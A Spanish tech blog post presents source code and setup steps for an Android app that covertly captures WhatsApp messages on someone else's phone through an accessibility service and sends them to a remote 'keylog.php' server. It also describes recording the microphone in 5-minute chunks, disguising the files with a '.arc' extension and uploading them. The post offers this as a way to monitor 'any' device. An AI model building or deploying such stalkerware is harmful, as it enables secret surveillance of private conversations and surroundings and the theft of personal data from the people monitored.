Tutoriales y Manuales
Entradas Mensuales
-
►
2026
(Total:
8912
)
- ► septiembre (Total: 931 )
-
►
2025
(Total:
2103
)
- ► septiembre (Total: 148 )
-
►
2024
(Total:
1110
)
- ► septiembre (Total: 50 )
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
►
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
▼
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
▼
febrero
(Total:
12
)
-
Google crea un formulario para denunciar a páginas...
-
Ejemplos rsync para hacer copias de seguridad remotas
-
Crear una unidad USB de recuperación en Windows 7/8
-
Telegram Vs WhatsApp
-
Restaurar portátil al estado de fábrica
-
App para capturar los mensajes enviados a través d...
-
Colección Fondos de Pantalla de Alta resolución
-
Dos españoles crean un dispositivo para hackear un...
-
WhatsApp ocultará la foto de perfil a los contacto...
-
Duke Nukem 3D: Megaton Edition actualización multi...
-
openSUSE 13.1 con Active Directory
-
Disponible versión estable de LibreOffice 4.2.0
-
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
vulnerabilidad
(
2340
)
seguridad
(
2198
)
software
(
1560
)
hardware
(
1161
)
google
(
886
)
privacidad
(
750
)
exploit
(
732
)
Malware
(
711
)
ransomware
(
585
)
android
(
542
)
Windows
(
521
)
linux
(
510
)
nvidia
(
401
)
cve
(
385
)
tutorial
(
303
)
hacking
(
296
)
manual
(
283
)
ssd
(
189
)
WhatsApp
(
173
)
programación
(
146
)
ddos
(
145
)
app
(
133
)
Wifi
(
131
)
cifrado
(
124
)
twitter
(
121
)
firmware
(
95
)
youtube
(
88
)
firefox
(
85
)
herramientas
(
80
)
adobe
(
77
)
Networking
(
73
)
sysadmin
(
73
)
office
(
64
)
hack
(
59
)
antivirus
(
56
)
javascript
(
54
)
Kernel
(
49
)
apache
(
49
)
juegos
(
42
)
contraseñas
(
39
)
cms
(
38
)
multimedia
(
36
)
flash
(
33
)
eventos
(
32
)
MAC
(
30
)
anonymous
(
28
)
ssl
(
26
)
conferencia
(
21
)
Forense
(
20
)
documental
(
18
)
SeguridadWireless
(
17
)
auditoría
(
17
)
Debugger
(
14
)
Rootkit
(
14
)
lizard squad
(
14
)
metasploit
(
13
)
técnicas hacking
(
13
)
Virtualización
(
11
)
delitos
(
11
)
reversing
(
10
)
adamo
(
9
)
Ehn-Dev
(
7
)
antimalware
(
7
)
MAC Adress
(
6
)
oclHashcat
(
5
)
Entradas populares
-
Se ha detectado una nueva cadena de ataque que pone en riesgo a los administradores de WordPress que mantienen su panel de control abierto e...
-
Anthropic ha implementado nuevas restricciones en Claude Code para evitar la clonación de videojuegos y la ingeniería inversa .
-
Anthropic detectó vulnerabilidades críticas de ejecución remota de código en Chrome, Safari, Android, Windows y Linux (CVE-2026-98432), d...
App para capturar los mensajes enviados a través de WhatsApp
martes, 11 de febrero de 2014
|
Publicado por
el-brujo
Código fuente de un proyecto dónde se explica un modo efectivo de capturar y guardar en un
servidor web remoto todos los mensajes de Whatsapp de un móvil Android. Se
ofrece todo el código fuente necesario para generar la
aplicación y probarla por nosotros mismos. El monitoreo de los mensajes de un determinado móvil, requiere la
instalación previa de nuestro apk en dicho móvil a rastrear, además de
un paso añadido, en el que vamos a dar permisos al servicio que creamos
para obtener datos de accesibildad.
Si te interesa monitorizar y controlar los mensajes del WhatsApp de cualquier dispositivo móvil Android. estás de suerte.
Solo se captaran los mensajes que se vean en la pantalla del usuario del WhatsApp. Mientras un determinado mensaje no sea visto (en pantalla), no será captado. Esto es así, porque el sistema que estoy explicando, basa su efectividad en la funcionalidad de las nuevas APIs de poder acceder programáticamente a los diferentes componentes de la pantalla del móvil. Por ejemplo, podemos acceder al texto que hay en un TextView de cualquier aplicación en ejecución en el móvil, siempre que se vea en la pantalla el mismo.
Fuente:
Si te interesa monitorizar y controlar los mensajes del WhatsApp de cualquier dispositivo móvil Android. estás de suerte.
Solo se captaran los mensajes que se vean en la pantalla del usuario del WhatsApp. Mientras un determinado mensaje no sea visto (en pantalla), no será captado. Esto es así, porque el sistema que estoy explicando, basa su efectividad en la funcionalidad de las nuevas APIs de poder acceder programáticamente a los diferentes componentes de la pantalla del móvil. Por ejemplo, podemos acceder al texto que hay en un TextView de cualquier aplicación en ejecución en el móvil, siempre que se vea en la pantalla el mismo.
Con estas sencillas líneas, dentro del método onServiceConnected() ya tenemos enlazada nuestra aplicación (servicio) con todo lo que aparezca en pantalla cuando se activa la aplicación WhatsApp.
AccessibilityServiceInfo info = new AccessibilityServiceInfo();info.eventTypes = AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;info.feedbackType = AccessibilityServiceInfo.FEEDBACK_ALL_MASK;info.notificationTimeout = 100;info.packageNames = new String[] { "com.whatsapp" };setServiceInfo(info);
Posteriormente, obtenemos un código único para acceder a los datos
guardados en el servidor, desde la web que hemos creado para ofrecer una
interfaz cómoda para obtener los datos guardados. Cuando se entre en la
página web, deberemos ingresar este código que nos aparece en pantalla
la primera vez que activamos el servicio desde el panel de Ajustes del
móvil (ver instrucciones de uso más abajo).
Para obtener este código univoco, he utilizado un hash de la mac del wifi del dispositivo móvil.
Es muy sencillo:
WifiManager wm = (WifiManager)context.getSystemService(Context.WIFI_SERVICE);return wm.getConnectionInfo().getMacAddress();
Si por cualquier motivo, el proceso de obtención de la mac falla, se
genera un número pseudoaleatorio de baja colisión (ver código fuente
completo para obtener más detalles).
Y aquí viene la clave:
Dentro del método onAccessibilityEvent(AccessibilityEvent event) de
nuestro servicio de accesibilidad (AccessibilityService), simplemente
vamos a rastrear la pantalla, para filtrar y quedarnos únicamente con
aquellas pantallas en las que se está leyendo o escribiendo a un
contacto o grupo. ¿Y cómo obtenemos el contenido de la pantalla? Pues
gracias a un código tan sencillo como el siguiente:
AccessibilityNodeInfo rowNode = event.getSource();if (rowNode == null) {return;}
Con este simple código, obtenemos el objeto nodo principal de la pantalla, el cual contiene a su vez, a modo de árbol, todos los componentes de la pantalla, que serán hijos de ese nodo general.
Por ejemplo, para obtener el nombre del contacto con el que se está hablando, simplemente hacemos lo siguiente:
// Buscamos el contactoString contacto = "";AccessibilityNodeInfo headNode = rowNode.getChild(0);if (headNode != null && headNode.getClassName().equals("android.view.View")) {AccessibilityNodeInfo vw = headNode.getChild(1);if (vw != null && vw.getClassName().equals("android.widget.LinearLayout")){AccessibilityNodeInfo ly = vw.getChild(0);if (ly != null && ly.getClassName().equals("android.widget.TextView")){CharSequence texto = ly.getText();contacto = texto + "";}}}
Lo que hemos hecho es, recorrer los hijos del nodo principal, buscando el primer objeto TextView, dentro del primer LinearLayout. El texto de ese TextView se correspondo al nombre del contacto o grupo con el que estamos hablando.
El resto de datos se obtiene de manera similar, rastreando la pantalla y sus objetos. Así de simple.
Cuando se obtiene un mensaje, y se identifica si es un mensaje enviado o
recibido, se envía dicho mensaje, junto con los datos necesarios para
clasificar el mensaje con los demás de ese contacto, y según la hora de
envío. Estos datos se envían en formato JSON a través de internet, a un
servidor específico que debe contener los ficheros PHP que adjunto
también a este artículo.
Hay tres variables que se deben configurar para que el servicio funcione (están dentro de la clase ServerUtilities):
static final String SERVER_URL = "http://tudominio.com/carpetaopcional/keylog.php";public static final String INDEX_URL = "http://tudominio.com/carpetaopcional/";public static final String SERVER_URL_VOZ = "http://tudominio.com/carpetaopcional/vozlog.php";
Debes apuntar estas variables al lugar (url) donde has subido los
ficheros PHP de la parte web del proyecto. ¡Recuerda dar permisos de
escritura a la carpeta "datos"!
Esto respecto de la parte de monitoreo de WhatsApp. El monitorieo
continuo de sonido es más simple, y simplemente se hace uso de las
clases nativas AudioManager y MediaRecorder.
Se va grabando los sonidos que capta el móvil cada 5 minutos, y se va
guardando en un directorio temporal esas escuchas, en archivos MP4 (aunque
se guardan con extensión ".arc" para que no los localice el reproductor
multimedia de Android). Posteriormente se pasan esos archivos de 5
minutos a otro directorio para enviarlos mediante internet a un servidor
web.
Un Thread se encarga de buscar archivos en el directorio de grabaciones
terminadas, y las envía por internet al servidor web apuntado por la
variable ServerUtilities.SERVER_URL_VOZ.
Si en un momento determinado no se tiene conexión a internet, el proceso
de subida se reanudará automáticamente cuando este hilo detecte que ya
hay internet de nuevo.
Panel de control de WhatsAppBackup vía web
- Instrucciones de instalación y uso.
2) La
aplicación sólo estará activada y monitorizando si el usuario,
posteriormente a la instalación; explícitamente configura el servicio de
accesibilidad como activo. Activar la monitorización es muy sencillo (Ver imágenes adjuntas a este manual):
1. Ve a la opción de "Ajustes" de tu móvil.
2. Selecciona la opción de "Accesibilidad" dentro del menú de "Ajustes".
3. Pulsa sobre el servicio "BackupReceiverPlus" y activalo.
3) Copia el
código numérico que te sale a continuación de activar el servicio, y
también copia la dirección de la página web desde donde podrás ver tus
conversaciones en modo online en cualquier lugar y momento (si no te da
tiempo de copiar el código o lo pierdes, tendrás que desinstalar la
aplicación y volver a instalarla para poder obtener una nueva clave
única).
4) Ingresa en
la página web e introduce tu código numérico en la web. Tendrás un
listado con las conversaciones disponibles y los mensajes de texto que
se han producido, además de un listado con todas las grabaciones de
audio enviadas hasta la fecha.
Código de ejemplo sobre cómo capturar y guardar en un servidor remoto los mensajes de WhatsApp de cualquier móvil Android
Enviar por correo electrónico
Escribe un blog
Compartir en X
Compartir con Facebook
Compartir en Pinterest


Entrada más reciente